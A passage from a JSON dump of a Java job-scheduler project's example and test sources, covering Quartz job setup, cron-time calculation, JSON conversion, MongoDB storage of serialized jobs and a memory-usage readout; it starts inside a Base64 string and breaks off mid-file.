xsR01UT2Zmc2V0Q2hhbmdlWwAHb2Zmc2V0c3QAAltJWwAUc2ltcGxlVGltZVpvbmVQYXJhbXNxAH4AMFsAC3RyYW5zaXRpb25zdAACW0p4cgASamF2YS51dGlsLlRpbWVab25lMbPp9XdErKECAAFMAAJJRHEAfgAEeHB0AA1Bc2lhL1NoYW5naGFpBChB7AAAAAABt3QAAAAAAAB1cgACW0lNumAmduqypQIAAHhwAAAABAG3dAABvNMAAe5igAA27oBwdXIAAltKeCAEtRKxdZMCAAB4cAAAABP/39rgHcAAAf/stijAEAAA//Jqdl3AADL/8pESoNgAAP/yxoQKQAAy//MGjbOYAAAAB4B2LwAAMgAHq0Gc2AAAAAfu3INAADIACCBqSdgAAAAIZAUwQAAyAAiVkvbYAAAACNtupYAAMgAJDPxsGAAAAAlQl1KAADIACYIlGRgAAAAJxb//gAAyAAn3TcYYAAAAHsSTMsAAAHBwcHNyAA5qYXZhLnV0aWwuRGF0ZWhqgQFLWXQZAwAAeHB3CAAAAUnrhWuweHgAdAAOREVGQVVMVC5NeUpvYjFxAH4AI3NxAH4AJQAAAAAAAAAFAHBwcHEAfgAScHEAfgASdAAOREVGQVVMVC5NeUpvYjF0AA5ERUZBVUxULk15Sm9iMXNxAH4AK3QADjAvMTAgKiAqICogKiA/c3EAfgAvdAANQXNpYS9TaGFuZ2hhaQQoQewAAAAAAbd0AAAAAAAAdXEAfgA1AAAABAG3dAABvNMAAe5igAA27oBwdXEAfgA3AAAAE//f2uAdwAAB/+y2KMAQAAD/8mp2XcAAMv/ykRKg2AAA//LGhApAADL/8waNs5gAAAAHgHYvAAAyAAerQZzYAAAAB+7cg0AAMgAIIGpJ2AAAAAhkBTBAADIACJWS9tgAAAAI226lgAAyAAkM/GwYAAAACVCXUoAAMgAJgiUZGAAAAAnFv/+AADIACfdNxhgAAAAexJMywAAAcHBwc3EAfgA5dwgAAAFJ64VrsHg=\";\r\n        ClientJob clientJob = (ClientJob)ClassUtil.BytesToObject(Base64.decodeBase64(str));\r\n        String className = clientJob.getJobDetail().getJobClass().getName();\r\n        System.err.println(\"className:\"+className);\r\n    }\r\n\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/cron/TestCron.java",
    "content": "package com.gome.clover.cron;\r\n\r\nimport com.gome.clover.common.tools.DateUtil;\r\nimport org.junit.Test;\r\n\r\nimport java.text.ParseException;\r\nimport java.util.Date;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/8\r\n * Time: 16:55\r\n */\r\npublic class TestCron {\r\n    @Test\r\n    public void  getNextTime(){\r\n        Date nextDate = null;\r\n        try {\r\n            nextDate = DateUtil.getNextValidTimeAfter(\"0/10 * * * * ?\", new Date());\r\n        } catch (ParseException e) {\r\n            e.printStackTrace();\r\n        }\r\n        System.err.println(\"Date:\"+nextDate);\r\n\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/job/MyJob.java",
    "content": "package com.gome.clover.job;\r\n\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.IpUtil;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.job.ClientJobFactory;\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\nimport com.mongodb.BasicDBObject;\r\nimport org.quartz.*;\r\n\r\nimport static org.quartz.CronScheduleBuilder.cronSchedule;\r\nimport static org.quartz.JobBuilder.newJob;\r\nimport static org.quartz.TriggerBuilder.newTrigger;\r\n\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:My Job\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class MyJob implements Job {\r\n    @Override\r\n    public void execute(JobExecutionContext context) throws JobExecutionException {\r\n        System.err.println(\"context\");\r\n        if (null == context.getNextFireTime()) {\r\n            BasicDBObject deleteCondition = new BasicDBObject();\r\n            deleteCondition.put(DBTableInfo.COL_JOB_KEY, context.getJobDetail().getKey().toString());\r\n            deleteCondition.put(DBTableInfo.COL_JOB_TYPE, CommonConstants.JOB_TYPE_LOCAL);\r\n            deleteCondition.put(DBTableInfo.COL_IP, IpUtil.getLocalIP());\r\n            MongoDBUtil.INSTANCE.delete(deleteCondition, DBTableInfo.TBL_CLOVER_JOB);\r\n        }\r\n    }\r\n\r\n    public static void main(String args[]){\r\n\r\n        ModuleSchedulerClient client = ModuleSchedulerClient.getInstance();\r\n\r\n\r\n        JobDetail jobDetail = newJob(MyJob.class)\r\n                .withIdentity(\"MyJob\", Scheduler.DEFAULT_GROUP).build();\r\n        Trigger trigger = newTrigger()\r\n                .withIdentity(\"trigger\", Scheduler.DEFAULT_GROUP)\r\n                .withSchedule(cronSchedule(\"0/10 * * * * ?\")).build();\r\n        ClientJob clientJob =  ClientJobFactory.builder(jobDetail, trigger, ClientJob.JobType.REMOTE,null,null).jobClass(MyJob.class)\r\n                .executeType(ClientJob.ExecuteType.ADD).build();\r\n        client.handlerJob(clientJob);\r\n\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/job/MyJob1.java",
    "content": "package com.gome.clover.job;\r\n\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.IpUtil;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.job.ClientJobBuilder;\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\nimport com.mongodb.BasicDBObject;\r\nimport org.quartz.Job;\r\nimport org.quartz.JobExecutionContext;\r\nimport org.quartz.JobExecutionException;\r\n\r\nimport java.io.Serializable;\r\nimport java.text.DateFormat;\r\nimport java.text.ParseException;\r\nimport java.text.SimpleDateFormat;\r\nimport java.util.Date;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:MyJob\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class MyJob1 implements Job,Serializable {\r\n    @Override\r\n    public void execute(JobExecutionContext context) throws JobExecutionException {\r\n    \t   System.err.println(\"WYMyJob1-->>execute(context)\"+context.getJobDetail().getJobDataMap().get(\"test\"));\r\n        if (null == context.getNextFireTime()) {\r\n            BasicDBObject deleteCondition = new BasicDBObject();\r\n            deleteCondition.put(DBTableInfo.COL_JOB_KEY, context.getJobDetail().getKey().toString());\r\n            deleteCondition.put(DBTableInfo.COL_JOB_TYPE, CommonConstants.JOB_TYPE_LOCAL);\r\n            deleteCondition.put(DBTableInfo.COL_IP, IpUtil.getLocalIP());\r\n            MongoDBUtil.INSTANCE.delete(deleteCondition, DBTableInfo.TBL_CLOVER_JOB);\r\n        }\r\n    }\r\n    public static void main(String args[]){\r\n\r\n        ModuleSchedulerClient client =  ModuleSchedulerClient.getInstance();\r\n        //client.startupForLocalJobTest();\r\n       /* JobDetail jobDetail = newJob(MyJob1.class)\r\n                .withIdentity(\"MyJob1\", Scheduler.DEFAULT_GROUP).build();\r\n\r\n        Trigger trigger = newTrigger()\r\n                .withIdentity(\"trigger\", Scheduler.DEFAULT_GROUP)\r\n                .withSchedule(cronSchedule(\"0/10 * * * * ?\")).build();\r\n\r\n        ClientJob clientJob =  ClientJobFactory.builder(jobDetail, trigger, ClientJob.JobType.REMOTE).jobClass(MyJob1.class)\r\n                .executeType(ExecuteType.ADD).build();\r\n        clientJob.getJobDetail().getJobDataMap().put(\"test\",\"MyJob1\");\r\n        client.handlerJob(clientJob);*/\r\n        Date startDate = null;\r\n        try {\r\n            DateFormat parser = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\r\n            startDate= parser.parse(\"2014-12-01 17:23:20\");\r\n        } catch (ParseException ex) {\r\n        }\r\n        ClientJob clientJob  = ClientJobBuilder.quickBuildLocalJobWithStartDate(\"wyGroup\", \"wyJob\", MyJob1.class, startDate);\r\n        clientJob.setExecuteType(ClientJob.ExecuteType.ADD);\r\n        //ClientJob clientJob  = ClientJobBuilder.quickBuildLocalStartNowJobWithExecuteType(\"wyGoup\", \"wyJob\", MyJob1.class, ClientJob.ExecuteType.DELETE);\r\n        clientJob.setRecoverJobFromDB(true);\r\n        //clientJob.getJobDetail().get\r\n        client.handlerJob(clientJob);\r\n\r\n    }\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/job/MyJobWithSimpleJob.java",
    "content": "package com.gome.clover.job;\r\n\r\nimport com.gome.bg.clover.client.job.SimpleJob;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.job.ClientJobBuilder;\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\nimport org.quartz.JobExecutionContext;\r\n\r\nimport java.text.DateFormat;\r\nimport java.text.ParseException;\r\nimport java.text.SimpleDateFormat;\r\nimport java.util.Date;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:MyJob\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/21\r\n * Time: 14:27\r\n */\r\n\r\npublic class MyJobWithSimpleJob extends SimpleJob {\r\n\r\n    public void executeJob(JobExecutionContext context)  {\r\n    \t   System.err.println(\"MyJobWithSimpleJob-->>executeJob(context)\"+context.getJobDetail().getJobDataMap().get(\"test\"));\r\n\r\n    }\r\n    public static void main(String args[]){\r\n\r\n        ModuleSchedulerClient client = ModuleSchedulerClient.getInstance();\r\n        client.startupForLocalJobTest();\r\n       /* JobDetail jobDetail = newJob(MyJob1.class)\r\n                .withIdentity(\"MyJob1\", Scheduler.DEFAULT_GROUP).build();\r\n\r\n        Trigger trigger = newTrigger()\r\n                .withIdentity(\"trigger\", Scheduler.DEFAULT_GROUP)\r\n                .withSchedule(cronSchedule(\"0/10 * * * * ?\")).build();\r\n\r\n        ClientJob clientJob =  ClientJobFactory.builder(jobDetail, trigger, ClientJob.JobType.REMOTE).jobClass(MyJob1.class)\r\n                .executeType(ExecuteType.ADD).build();\r\n        clientJob.getJobDetail().getJobDataMap().put(\"test\",\"MyJob1\");\r\n        client.handlerJob(clientJob);*/\r\n        Date startDate = null;\r\n        try {\r\n            DateFormat parser = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");\r\n            startDate= parser.parse(\"2014-12-12 11:18:20\");\r\n        } catch (ParseException ex) {\r\n        }\r\n       // ClientJob clientJob  = ClientJobBuilder.quickBuildLocalJobWithStartDate(\"wyGroup1\", \"wyJob1\", MyJobWithSimpleJob.class, startDate);\r\n        ClientJob clientJob  = ClientJobBuilder.quickBuildLocalCronJob(\"wyGroup2\", \"wyJob2\", MyJobWithSimpleJob.class, \"0/10 * * * * ?\");\r\n       // ClientJob clientJob  = ClientJobBuilder.quickBuildLocalCronJob(\"wyGroup\", \"wyJob\", MyJobWithSimpleJob.class, \"0/10 * * * * ?\");\r\n        //clientJob.setExecuteType(ClientJob.ExecuteType.ADD);\r\n        //ClientJob clientJob  = ClientJobBuilder.quickBuildLocalStartNowJobWithExecuteType(\"wyGoup\", \"wyJob\", MyJob1.class, ClientJob.ExecuteType.DELETE);\r\n        clientJob.setRecoverJobFromDB(true);\r\n        client.handlerJob(clientJob);\r\n\r\n\r\n    }\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/json/TestJson.java",
    "content": "package com.gome.clover.json;\r\n\r\nimport com.alibaba.fastjson.JSON;\r\nimport org.junit.Test;\r\n\r\nimport java.util.*;\r\nimport java.util.concurrent.CopyOnWriteArrayList;\r\n\r\n/**\r\n * Module Desc:\r\n * User: wangyue-ds6\r\n * Date: 2014/11/17\r\n * Time: 20:08\r\n */\r\npublic class TestJson {\r\n    @Test\r\n    public void setToJson(){\r\n        System.err.println(\"setToJson\");\r\n        Set<String> set  = new HashSet<String>();\r\n        set.add(\"127.0.0.1\");\r\n        set.add(\"192.168.168.1\");\r\n        String setJson = JSON.toJSONString(set);\r\n        System.err.println(\"setJson \"  +setJson);\r\n\r\n        Set<String> set1 = JSON.parseObject(setJson,Set.class);\r\n        System.err.println(\"set \"  +set1);\r\n    }\r\n    @Test\r\n    public void jsonToSet(){\r\n       String setJson = \"[\\\"192.168.168.1\\\",\\\"127.0.0.1\\\"]\";\r\n        Set<String> set = JSON.parseObject(setJson, Set.class);\r\n        System.err.println(\"set \"  +set);\r\n        int len = set.size();\r\n        Math.random();\r\n        Random random = new Random();\r\n        int newVal = random.nextInt(len);\r\n        System.err.println(\"newVal:\"+newVal);\r\n    }\r\n\r\n    @Test\r\n    public void listToJson(){\r\n        List<String> ipList = new CopyOnWriteArrayList<String>();\r\n        if(!ipList.contains(\"127.0.0.1\")){\r\n            ipList.add(\"127.0.0.1\");\r\n        }\r\n        if(!ipList.contains(\"192.168.168.1\")){\r\n            ipList.add(\"192.168.168.1\");\r\n        }\r\n        String listJson = JSON.toJSONString(ipList);\r\n        System.err.println(\"listJson \"  +listJson);\r\n\r\n        List<String> ipList2 = JSON.parseObject(listJson,List.class);\r\n        System.err.println(\"list \"  +ipList2);\r\n\r\n        int len = ipList2.size();\r\n        Math.random();\r\n        Random random = new Random();\r\n        int newVal = random.nextInt(len);\r\n        System.err.println(\"newVal:\"+newVal);\r\n    }\r\n\r\n    public void testList2StringUtil(){\r\n\r\n    }\r\n\r\n    @Test\r\n    public void testMap(){\r\n        Map<String,String> map = new HashMap<String,String>();\r\n        map.put(\"alive\",\"1\");\r\n        map.put(\"ip\",\"127.0.0.1\");\r\n        String mapStr = JSON.toJSONString(map);\r\n        System.err.println(\"mapStr-----\"+mapStr);\r\n        Map<String,String> map1 = JSON.parseObject(mapStr,Map.class);\r\n        System.err.println(\"map1-----------\"+map1);\r\n    }\r\n    @Test\r\n    public void testArray(){\r\n        String a[] = new String[]{};\r\n        List<String> list = new ArrayList<String>();\r\n        list.add(\"2\");\r\n        System.err.println(\"a\"+JSON.toJSONString(a));\r\n        System.err.println(\"list\"+list);\r\n    }\r\n\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/mongo/TestMongoDB.java",
    "content": "package com.gome.clover.mongo;\r\n\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.common.tools.ClassUtil;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.DateUtil;\r\nimport com.gome.clover.common.tools.IpUtil;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.mongodb.BasicDBObject;\r\nimport com.mongodb.DBCollection;\r\nimport com.mongodb.DBCursor;\r\nimport com.mongodb.DBObject;\r\nimport org.apache.commons.codec.binary.Base64;\r\nimport org.junit.Test;\r\n\r\n/**\r\n * Module Desc:Test Mongo DB\r\n * User: wangyue-ds6\r\n * Date: 2014/11/18\r\n * Time: 15:02\r\n */\r\npublic class TestMongoDB {\r\n    @Test\r\n    public void insertOrUpdate(){\r\n        while (true){\r\n            BasicDBObject document = new BasicDBObject();\r\n            document.put(\"jobKey\", \"jobKey1\");\r\n            document.put(\"jobInfo\", \"jobInfo1\");\r\n            document.put(\"ip\", IpUtil.getLocalIP());\r\n            document.put(\"ts\", DateUtil.currentDateTime());\r\n            MongoDBUtil.INSTANCE.insertOrUpdate(document, \"test_wy\");\r\n            MongoDBUtil.INSTANCE.insert(document, \"test_wy\");\r\n            System.err.println(\"TestMongoDB--->>>insertOrUpdate()\");\r\n            try {\r\n                Thread.sleep(1000);\r\n            } catch (InterruptedException e) {\r\n                e.printStackTrace();\r\n            }\r\n        }\r\n\r\n    }\r\n    @Test\r\n    public void findByJobKey(){\r\n        DBCollection dbCollection = MongoDBUtil.INSTANCE.getCollection(DBTableInfo.TBL_CLOVER_JOB);\r\n        DBObject condition = new BasicDBObject();\r\n        condition.put(DBTableInfo.COL_IP, IpUtil.getLocalIP());\r\n        DBCursor cursorDocMap = dbCollection.find(condition);\r\n        while (cursorDocMap.hasNext()) {\r\n            ClientJob clientJob = (ClientJob) ClassUtil.BytesToObject(Base64.decodeBase64((String)cursorDocMap.next()\r\n                    .get(DBTableInfo.COL_JOB_INFO)));\r\n            System.err.println(\"clientJob:\"+clientJob.getTrigger());\r\n        }\r\n    }\r\n\r\n    @Test\r\n    public void insertConfig(){\r\n        BasicDBObject document = new BasicDBObject();\r\n        document.put(DBTableInfo.COL_CONFIG_KEY,CommonConstants.DISABLED_DB);\r\n        document.put(DBTableInfo.COL_CONFIG_TYPE,CommonConstants.TYPE_DB);\r\n        document.put(DBTableInfo.COL_CONFIG_VALUE, \"false\");\r\n        document.put(\"ts\", DateUtil.currentDateTime());\r\n        MongoDBUtil.INSTANCE.insert(document,DBTableInfo.TBL_CLOVER_CONFIG);\r\n        System.err.println(\"TestMongoDB--->>>insertConfig()\");\r\n    }\r\n    @Test\r\n    public  void updateConfig(){\r\n        BasicDBObject document = new BasicDBObject();\r\n        document.put(DBTableInfo.COL_CONFIG_KEY,CommonConstants.DISABLED_DB);\r\n        document.put(DBTableInfo.COL_CONFIG_TYPE,CommonConstants.TYPE_DB);\r\n        BasicDBObject update = new BasicDBObject();\r\n        update.put(DBTableInfo.COL_CONFIG_VALUE,\"true\");\r\n        MongoDBUtil.INSTANCE.update(document,new BasicDBObject(\"$set\", update),DBTableInfo.TBL_CLOVER_CONFIG);\r\n    }\r\n    @Test\r\n    public void testGetOn(){\r\n        System.err.println(\"\"+MongoDBUtil.isEnabledDB());\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/scheduler/TestSchedulerWithInsertMongoDB.java",
    "content": "package com.gome.clover.scheduler;\r\n\r\nimport com.gome.clover.common.mongodb.DBTableInfo;\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.common.tools.ClassUtil;\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.DateUtil;\r\nimport com.gome.clover.common.tools.IpUtil;\r\nimport com.gome.clover.core.job.ClientJob;\r\nimport com.gome.clover.core.job.ClientJobFactory;\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\nimport com.mongodb.BasicDBObject;\r\nimport org.apache.commons.codec.binary.Base64;\r\nimport org.quartz.*;\r\n\r\nimport static org.quartz.CronScheduleBuilder.cronSchedule;\r\nimport static org.quartz.JobBuilder.newJob;\r\nimport static org.quartz.TriggerBuilder.newTrigger;\r\n\r\n/**\r\n * Module Desc:\r\n * User: wangyue-ds6\r\n * Date: 2014/11/11\r\n * Time: 22:54\r\n */\r\npublic class TestSchedulerWithInsertMongoDB implements Job {\r\n    @Override\r\n    public void execute(JobExecutionContext context) throws JobExecutionException {\r\n        System.err.println(\"TestScheduler-->>execute(\"+ context+\")\");\r\n    }\r\n\r\n    public static void main(String args[]){\r\n        try {\r\n            //启动Netty RPC\r\n            //new RpcServer(CommonConstants.RPC_CLIENT_PORT).run();\r\n            //ConsumerUtil.startup(\"10.58.50.204:9876;10.58.50.205:9876\", CommonConstants.TOPIC_CLOVER_SERVER, IpUtil.getLocalIP().replace(\".\", \"-\"));\r\n        } catch (Exception e) {\r\n\r\n        }\r\n        ModuleSchedulerClient client = ModuleSchedulerClient.getInstance();\r\n        JobDetail jobDetail = newJob(TestSchedulerWithInsertMongoDB.class)\r\n                .withIdentity(\"TestSchedulerJob1\", Scheduler.DEFAULT_GROUP).requestRecovery(true).build();\r\n        Trigger trigger = newTrigger()\r\n                .withIdentity(\"trigger1\", Scheduler.DEFAULT_GROUP)\r\n                .withSchedule(cronSchedule(\"0/10 * * * * ?\")).build();\r\n        ClientJob clientJob =  ClientJobFactory.builder(jobDetail, trigger, ClientJob.JobType.REMOTE,null,null).jobClass(TestSchedulerWithInsertMongoDB.class).build();\r\n        String jobInfoStr = Base64.encodeBase64String(ClassUtil.ObjectToBytes(clientJob));\r\n        BasicDBObject document = new BasicDBObject();\r\n        document.put(DBTableInfo.COL_JOB_KEY, \"jobKey1\");\r\n        document.put(DBTableInfo.COL_JOB_INFO, jobInfoStr);\r\n        document.put(DBTableInfo.COL_IP, IpUtil.getLocalIP());\r\n        document.put(DBTableInfo.COL_STATUS, CommonConstants.JOB_STATUS_1);\r\n        document.put(DBTableInfo.COL_TS, DateUtil.currentDateTime());\r\n        MongoDBUtil.INSTANCE.insertOrUpdate(document,DBTableInfo.TBL_CLOVER_JOB);\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/scheduler/TestSchedulerWithRegister.java",
    "content": "package com.gome.clover.scheduler;\r\n\r\nimport com.gome.clover.common.tools.CommonConstants;\r\nimport com.gome.clover.common.tools.IpUtil;\r\nimport com.gome.clover.core.module.ModuleSchedulerClient;\r\nimport org.quartz.Job;\r\nimport org.quartz.JobExecutionContext;\r\nimport org.quartz.JobExecutionException;\r\n\r\n/**\r\n * Module Desc:\r\n * User: wangyue-ds6\r\n * Date: 2014/11/11\r\n * Time: 22:54\r\n */\r\npublic class TestSchedulerWithRegister implements Job {\r\n    @Override\r\n    public void execute(JobExecutionContext context) throws JobExecutionException {\r\n        System.err.println(\"TestScheduler-->>execute(\"+ context+\")\");\r\n    }\r\n\r\n    public static void main(String args[]){\r\n        try {\r\n            //启动Netty RPC\r\n            //new RpcServer(CommonConstants.RPC_CLIENT_PORT).run();\r\n            //ConsumerUtil.startup(\"10.58.50.204:9876;10.58.50.205:9876\", CommonConstants.TOPIC_CLOVER_SERVER, IpUtil.getLocalIP().replace(\".\", \"-\"));\r\n        } catch (Exception e) {\r\n\r\n        }\r\n        ModuleSchedulerClient client =  ModuleSchedulerClient.getInstance();\r\n        client.registerToZK(CommonConstants.MODULE_TYPE_CLIENT,IpUtil.getLocalIP(),null,\"-1\",CommonConstants.SYSTEM_ID_CLOVER);\r\n\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/systeminfo/TestMem.java",
    "content": "package com.gome.clover.systeminfo;\r\n\r\nimport com.sun.management.OperatingSystemMXBean;\r\nimport sun.management.ManagementFactory;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/12/25\r\n * Time: 16:04\r\n */\r\npublic class TestMem {\r\n    public static void main(String[] args) {\r\n        OperatingSystemMXBean osmxb = (OperatingSystemMXBean) ManagementFactory\r\n                .getOperatingSystemMXBean();\r\n        int kb = 1024;\r\n        // 总的物理内存\r\n        long totalMemorySize = osmxb.getTotalPhysicalMemorySize() / kb;\r\n        // 剩余的物理内存\r\n        long freePhysicalMemorySize = osmxb.getFreePhysicalMemorySize() / kb;\r\n        // 已使用的物理内存\r\n        long usedMemory = (osmxb.getTotalPhysicalMemorySize() - osmxb\r\n                .getFreePhysicalMemorySize()) / kb;\r\n\r\n        System.out.println(\"totalMemorySize:\"+totalMemorySize);\r\n        System.out.println(\"freePhysicalMemorySize:\"+freePhysicalMemorySize);\r\n        System.out.println(\"usedMemory:\"+usedMemory);\r\n\r\n        //BigDecimal memRatio = (BigDecimal.valueOf(usedMemory).divide(BigDecimal.valueOf(totalMemorySize)));\r\n        System.out.println(\"memRatio:\"+((float)(usedMemory*1.0/totalMemorySize)));\r\n\r\n    }\r\n}\r\n"
  },
  {
    "path": "clover/clover-examples/src/main/java/com/gome/clover/thread/MyThread.java",
    "content": "package com.gome.clover.thread;/**\r\n * Created by  on .\r\n */\r\n\r\nimport com.gome.clover.common.mongodb.MongoDBUtil;\r\nimport com.gome.clover.common.tools.DateUtil;\r\nimport com.gome.clover.common.tools.IpUtil;\r\nimport com.mongodb.BasicDBObject;\r\n\r\n/**\r\n * ━━━━━━神兽出没━━━━━━\r\n * 　　　┏┓　　　┏┓\r\n * 　　┏┛┻━━━┛┻┓\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　━　　　┃\r\n * 　　┃　┳┛　┗┳　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┃　　　┻　　　┃\r\n * 　　┃　　　　　　　┃\r\n * 　　┗━┓　　　┏━┛\r\n * 　　　　┃　　　┃神兽保佑, 永无BUG!\r\n * 　　　　┃　　　┃Code is far away from bug with the animal protecting\r\n * 　　　　┃　　　┗━━━┓\r\n * 　　　　┃　　　　　　　┣┓\r\n * 　　　　┃　　　　　　　┏┛\r\n * 　　　　┗┓┓┏━┳┓┏┛\r\n * 　　　　　┃┫┫　┃┫┫\r\n * 　　　　　┗┻┛　┗┻┛\r\n * ━━━━━━感觉萌萌哒━━━━━━\r\n * Module Desc:clover\r\n * User: wangyue-ds6 || stark_summer@qq.com\r\n * Date: 2014/11/25\r\n * Time: 22:56\r\n */\r\nclass MyThread implements java.lang.Runnable\r\n{\r\n    private int threadId;\r\n    public MyThread(int id)\r\n    {\r\n        this.threadId = id;\r\n    }\r\n    @Override\r\n    public  void run()\r\n    {\r\n        BasicDBObject document = new BasicDBObject();\r\n        document.put(\"jobKey\", \"jobKey1\");\r\n        document.put(\"jobInfo\", \"jobInfo1\");\r\n        document.put(\"ip\", IpUtil.getLocalIP());\r\n        document.put(\"ts\", 